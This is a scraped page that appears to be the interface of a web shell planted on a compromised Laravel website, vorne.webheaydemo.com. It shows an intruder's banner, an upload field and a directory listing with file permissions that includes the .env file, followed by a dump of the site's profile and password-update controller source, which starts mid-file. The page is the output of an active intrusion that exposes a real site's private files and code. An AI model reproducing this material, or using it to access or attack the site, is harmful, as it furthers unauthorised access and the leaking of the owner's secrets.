I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
where('username', $username)->first(); $user = json_decode(json_encode($user_row), true); $countries = get_all_countries(); return view('frontend.pages.user.profile', compact('user', 'countries')); } public function profileUpdate(Request $request, $username) { $validator = Validator::make($request->all(), [ 'first_name' => 'required|string', 'last_name' => 'required|string', 'mobile' => 'nullable|string', 'address' => 'nullable|string', 'image' => 'nullable|image|mimes:jpg,png,jpeg,webp,svg|max:10000', 'country' => 'nullable|string', 'state' => 'nullable|string', 'city' => 'nullable|string', 'zip_code' => 'nullable|numeric', ]); $validated = $validator->validate(); $user = User::where('username', $username)->firstOrFail(); if ($request->hasfile('image')) { $image = $request->file('image'); $imageName = Str::uuid() . '.' . $image->getClientOriginalExtension(); create_dir('public/frontend/user'); delete_file(get_files_path('user-profile').'/'. $user->image); Image::make($image)->resize(200, 200)->save(get_files_path('user-profile').'/'. $imageName); } else { $imageName = $user->image; } $user->first_name = $request->first_name; $user->last_name = $request->last_name; $user->mobile = $request->mobile; $user->image = $imageName; $user->address = $request->address; $user->update(); $userProife = UserProfile::where('user_id', $user->id)->firstOrFail(); $userProife->country = $request->country; $userProife->state = $request->state ?? null; $userProife->city = $request->city ?? null; $userProife->zip_code = $request->zip_code ?? null; $userProife->update(); return back()->with(['success' => [__('Profile Information Updated Successfully!')]]); } public function passwordUpdate(Request $request) { if ($request->isMethod('POST')) { $data = $request->all(); //Check if current password is correct or not if (Hash::check($data['current_password'], Auth::user()->password)) { //Check new and confirm password is matching if ($data['new_password'] == $data['again_new_password']) { $user = User::find(Auth::user()->id); $user->password = bcrypt($request->new_password); $user->save(); Auth::logout(); $request->session()->invalidate(); $request->session()->regenerateToken(); return redirect('/user/login')->with(['success' => [__('Password Changed successfully login again')]]); } else { return redirect()->back()->with(['error' => [__('New password & confirm password is not same')]]); } } else { return redirect()->back()->with(['error' => [__('Password not updated')]]); } return redirect()->back(); } } public function checkCurrentPassword(Request $request) { $data = $request->all(); if (Hash::check($data['current_password'], Auth::user()->password)) { echo "true"; } else { echo "false"; } } }